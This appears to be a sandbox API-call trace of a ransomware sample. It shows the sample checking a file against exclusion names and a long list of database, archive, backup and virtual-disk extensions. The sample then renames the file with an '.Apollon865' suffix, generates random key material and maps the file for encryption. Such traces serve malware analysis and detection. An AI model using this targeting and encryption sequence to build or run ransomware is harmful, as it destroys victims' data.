	[0065.928] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="ntuser.dat") returned 1
	[0065.930] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="perflogs") returned 1
	[0065.930] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2="MSBuild") returned 1
	[0065.931] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0065.933] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab") returned 124
	[0065.957] lstrcpyW (in: lpString1=0x119e6f0, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0065.957] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0065.957] lstrlenW (lpString="Apollon865") returned 10
	[0065.957] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0065.957] lstrlenW (lpString=".dll") returned 4
	[0065.957] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0065.957] lstrlenW (lpString=".lnk") returned 4
	[0065.958] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0065.958] lstrlenW (lpString=".ini") returned 4
	[0065.958] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0065.958] lstrlenW (lpString=".sys") returned 4
	[0065.958] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0065.958] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0065.958] lstrlenW (lpString="bak") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0065.958] lstrlenW (lpString="ba_") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0065.958] lstrlenW (lpString="dbb") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0065.958] lstrlenW (lpString="vmdk") returned 4
	[0065.958] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0065.958] lstrlenW (lpString="rar") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0065.958] lstrlenW (lpString="zip") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0065.958] lstrlenW (lpString="tgz") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0065.958] lstrlenW (lpString="vbox") returned 4
	[0065.958] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0065.958] lstrlenW (lpString="vdi") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0065.958] lstrlenW (lpString="vhd") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0065.958] lstrlenW (lpString="vhdx") returned 4
	[0065.958] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0065.958] lstrlenW (lpString="avhd") returned 4
	[0065.958] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0065.958] lstrlenW (lpString="db") returned 2
	[0065.958] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0065.958] lstrlenW (lpString="db2") returned 3
	[0065.958] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0065.959] lstrlenW (lpString="db3") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0065.959] lstrlenW (lpString="dbf") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0065.959] lstrlenW (lpString="mdf") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0065.959] lstrlenW (lpString="mdb") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0065.959] lstrlenW (lpString="sql") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0065.959] lstrlenW (lpString="sqlite") returned 6
	[0065.959] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0065.959] lstrlenW (lpString="sqlite3") returned 7
	[0065.959] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0065.959] lstrlenW (lpString="sqlitedb") returned 8
	[0065.959] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0065.959] lstrlenW (lpString="xml") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0065.959] lstrlenW (lpString="$er") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0065.959] lstrlenW (lpString="4dd") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0065.959] lstrlenW (lpString="4dl") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0065.959] lstrlenW (lpString="^^^") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0065.959] lstrlenW (lpString="abs") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0065.959] lstrlenW (lpString="abx") returned 3
	[0065.959] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0065.959] lstrlenW (lpString="accdb") returned 5
	[0065.959] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0065.959] lstrlenW (lpString="accdc") returned 5
	[0065.959] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0065.959] lstrlenW (lpString="accde") returned 5
	[0065.960] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0065.960] lstrlenW (lpString="accdr") returned 5
	[0065.960] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0065.960] lstrlenW (lpString="accdt") returned 5
	[0065.960] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0065.960] lstrlenW (lpString="accdw") returned 5
	[0065.960] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0065.960] lstrlenW (lpString="accft") returned 5
	[0065.960] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0065.960] lstrlenW (lpString="adb") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0065.960] lstrlenW (lpString="adb") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0065.960] lstrlenW (lpString="ade") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0065.960] lstrlenW (lpString="adf") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0065.960] lstrlenW (lpString="adn") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0065.960] lstrlenW (lpString="adp") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0065.960] lstrlenW (lpString="alf") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0065.960] lstrlenW (lpString="ask") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0065.960] lstrlenW (lpString="btr") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0065.960] lstrlenW (lpString="cat") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0065.960] lstrlenW (lpString="cdb") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0065.960] lstrlenW (lpString="ckp") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0065.960] lstrlenW (lpString="cma") returned 3
	[0065.960] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0065.961] lstrlenW (lpString="cpd") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0065.961] lstrlenW (lpString="dacpac") returned 6
	[0065.961] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0065.961] lstrlenW (lpString="dad") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0065.961] lstrlenW (lpString="dadiagrams") returned 10
	[0065.961] lstrcmpiW (lpString1="al_x86.msi", lpString2="dadiagrams") returned -1
	[0065.961] lstrlenW (lpString="daschema") returned 8
	[0065.961] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0065.961] lstrlenW (lpString="db-journal") returned 10
	[0065.961] lstrcmpiW (lpString1="al_x86.msi", lpString2="db-journal") returned -1
	[0065.961] lstrlenW (lpString="db-shm") returned 6
	[0065.961] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0065.961] lstrlenW (lpString="db-wal") returned 6
	[0065.961] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0065.961] lstrlenW (lpString="dbc") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0065.961] lstrlenW (lpString="dbs") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0065.961] lstrlenW (lpString="dbt") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0065.961] lstrlenW (lpString="dbv") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0065.961] lstrlenW (lpString="dbx") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0065.961] lstrlenW (lpString="dcb") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0065.961] lstrlenW (lpString="dct") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0065.961] lstrlenW (lpString="dcx") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0065.961] lstrlenW (lpString="ddl") returned 3
	[0065.961] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0065.962] lstrlenW (lpString="dlis") returned 4
	[0065.962] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0065.962] lstrlenW (lpString="dp1") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0065.962] lstrlenW (lpString="dqy") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0065.962] lstrlenW (lpString="dsk") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0065.962] lstrlenW (lpString="dsn") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0065.962] lstrlenW (lpString="dtsx") returned 4
	[0065.962] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0065.962] lstrlenW (lpString="dxl") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0065.962] lstrlenW (lpString="eco") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0065.962] lstrlenW (lpString="ecx") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0065.962] lstrlenW (lpString="edb") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0065.962] lstrlenW (lpString="epim") returned 4
	[0065.962] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0065.962] lstrlenW (lpString="fcd") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0065.962] lstrlenW (lpString="fdb") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0065.962] lstrlenW (lpString="fic") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0065.962] lstrlenW (lpString="flexolibrary") returned 12
	[0065.962] lstrcmpiW (lpString1="onal_x86.msi", lpString2="flexolibrary") returned 1
	[0065.962] lstrlenW (lpString="fm5") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0065.962] lstrlenW (lpString="fmp") returned 3
	[0065.962] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0065.962] lstrlenW (lpString="fmp12") returned 5
	[0065.963] lstrcmpiW (lpString1="6.msi", lpString2="fmp12") returned -1
	[0065.963] lstrlenW (lpString="fmpsl") returned 5
	[0065.963] lstrcmpiW (lpString1="6.msi", lpString2="fmpsl") returned -1
	[0065.963] lstrlenW (lpString="fol") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0065.963] lstrlenW (lpString="fp3") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0065.963] lstrlenW (lpString="fp4") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0065.963] lstrlenW (lpString="fp5") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0065.963] lstrlenW (lpString="fp7") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0065.963] lstrlenW (lpString="fpt") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0065.963] lstrlenW (lpString="frm") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0065.963] lstrlenW (lpString="gdb") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0065.963] lstrlenW (lpString="gdb") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0065.963] lstrlenW (lpString="grdb") returned 4
	[0065.963] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0065.963] lstrlenW (lpString="gwi") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0065.963] lstrlenW (lpString="hdb") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0065.963] lstrlenW (lpString="his") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0065.963] lstrlenW (lpString="ib") returned 2
	[0065.963] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0065.963] lstrlenW (lpString="idb") returned 3
	[0065.963] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0065.963] lstrlenW (lpString="ihx") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0065.964] lstrlenW (lpString="itdb") returned 4
	[0065.964] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0065.964] lstrlenW (lpString="itw") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0065.964] lstrlenW (lpString="jet") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0065.964] lstrlenW (lpString="jtx") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0065.964] lstrlenW (lpString="kdb") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0065.964] lstrlenW (lpString="kexi") returned 4
	[0065.964] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0065.964] lstrlenW (lpString="kexic") returned 5
	[0065.964] lstrcmpiW (lpString1="6.msi", lpString2="kexic") returned -1
	[0065.964] lstrlenW (lpString="kexis") returned 5
	[0065.964] lstrcmpiW (lpString1="6.msi", lpString2="kexis") returned -1
	[0065.964] lstrlenW (lpString="lgc") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0065.964] lstrlenW (lpString="lwx") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0065.964] lstrlenW (lpString="maf") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0065.964] lstrlenW (lpString="maq") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0065.964] lstrlenW (lpString="mar") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0065.964] lstrlenW (lpString="marshal") returned 7
	[0065.964] lstrcmpiW (lpString1="x86.msi", lpString2="marshal") returned 1
	[0065.964] lstrlenW (lpString="mas") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0065.964] lstrlenW (lpString="mav") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0065.964] lstrlenW (lpString="maw") returned 3
	[0065.964] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0065.965] lstrlenW (lpString="mdbhtml") returned 7
	[0065.965] lstrcmpiW (lpString1="x86.msi", lpString2="mdbhtml") returned 1
	[0065.965] lstrlenW (lpString="mdn") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0065.965] lstrlenW (lpString="mdt") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0065.965] lstrlenW (lpString="mfd") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0065.965] lstrlenW (lpString="mpd") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0065.965] lstrlenW (lpString="mrg") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0065.965] lstrlenW (lpString="mud") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0065.965] lstrlenW (lpString="mwb") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0065.965] lstrlenW (lpString="myd") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0065.965] lstrlenW (lpString="ndf") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0065.965] lstrlenW (lpString="nnt") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0065.965] lstrlenW (lpString="nrmlib") returned 6
	[0065.965] lstrcmpiW (lpString1="86.msi", lpString2="nrmlib") returned -1
	[0065.965] lstrlenW (lpString="ns2") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0065.965] lstrlenW (lpString="ns3") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0065.965] lstrlenW (lpString="ns4") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0065.965] lstrlenW (lpString="nsf") returned 3
	[0065.965] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0065.965] lstrlenW (lpString="nv") returned 2
	[0065.966] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0065.966] lstrlenW (lpString="nv2") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0065.966] lstrlenW (lpString="nwdb") returned 4
	[0065.966] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0065.966] lstrlenW (lpString="nyf") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0065.966] lstrlenW (lpString="odb") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0065.966] lstrlenW (lpString="odb") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0065.966] lstrlenW (lpString="oqy") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0065.966] lstrlenW (lpString="ora") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0065.966] lstrlenW (lpString="orx") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0065.966] lstrlenW (lpString="owc") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0065.966] lstrlenW (lpString="p96") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0065.966] lstrlenW (lpString="p97") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0065.966] lstrlenW (lpString="pan") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0065.966] lstrlenW (lpString="pdb") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0065.966] lstrlenW (lpString="pdm") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0065.966] lstrlenW (lpString="pnz") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0065.966] lstrlenW (lpString="qry") returned 3
	[0065.966] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0065.966] lstrlenW (lpString="qvd") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0065.967] lstrlenW (lpString="rbf") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0065.967] lstrlenW (lpString="rctd") returned 4
	[0065.967] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0065.967] lstrlenW (lpString="rod") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0065.967] lstrlenW (lpString="rodx") returned 4
	[0065.967] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0065.967] lstrlenW (lpString="rpd") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0065.967] lstrlenW (lpString="rsd") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0065.967] lstrlenW (lpString="sas7bdat") returned 8
	[0065.967] lstrcmpiW (lpString1="_x86.msi", lpString2="sas7bdat") returned -1
	[0065.967] lstrlenW (lpString="sbf") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0065.967] lstrlenW (lpString="scx") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0065.967] lstrlenW (lpString="sdb") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0065.967] lstrlenW (lpString="sdc") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0065.967] lstrlenW (lpString="sdf") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0065.967] lstrlenW (lpString="sis") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0065.967] lstrlenW (lpString="spq") returned 3
	[0065.967] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0065.967] lstrlenW (lpString="te") returned 2
	[0065.967] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0065.967] lstrlenW (lpString="teacher") returned 7
	[0065.967] lstrcmpiW (lpString1="x86.msi", lpString2="teacher") returned 1
	[0065.967] lstrlenW (lpString="tmd") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0065.968] lstrlenW (lpString="tps") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0065.968] lstrlenW (lpString="trc") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0065.968] lstrlenW (lpString="trc") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0065.968] lstrlenW (lpString="trm") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0065.968] lstrlenW (lpString="udb") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0065.968] lstrlenW (lpString="udl") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0065.968] lstrlenW (lpString="usr") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0065.968] lstrlenW (lpString="v12") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0065.968] lstrlenW (lpString="vis") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0065.968] lstrlenW (lpString="vpd") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0065.968] lstrlenW (lpString="vvv") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0065.968] lstrlenW (lpString="wdb") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0065.968] lstrlenW (lpString="wmdb") returned 4
	[0065.968] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0065.968] lstrlenW (lpString="wrk") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0065.968] lstrlenW (lpString="xdb") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0065.968] lstrlenW (lpString="xld") returned 3
	[0065.968] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0065.968] lstrlenW (lpString="xmlff") returned 5
	[0065.968] lstrcmpiW (lpString1="6.msi", lpString2="xmlff") returned -1
	[0065.969] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865") returned 155
	[0065.969] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.apollon865"), dwFlags=0x1) returned 1
	[0065.970] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0065.970] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=151552) returned 1
	[0065.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0065.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0065.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0065.971] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf5f0) returned 1
	[0065.971] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0065.971] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0065.972] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25300, lpName=0x0) returned 0x14c
	[0065.987] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25300) returned 0x120000
	[0066.004] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0066.004] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0066.005] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0066.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
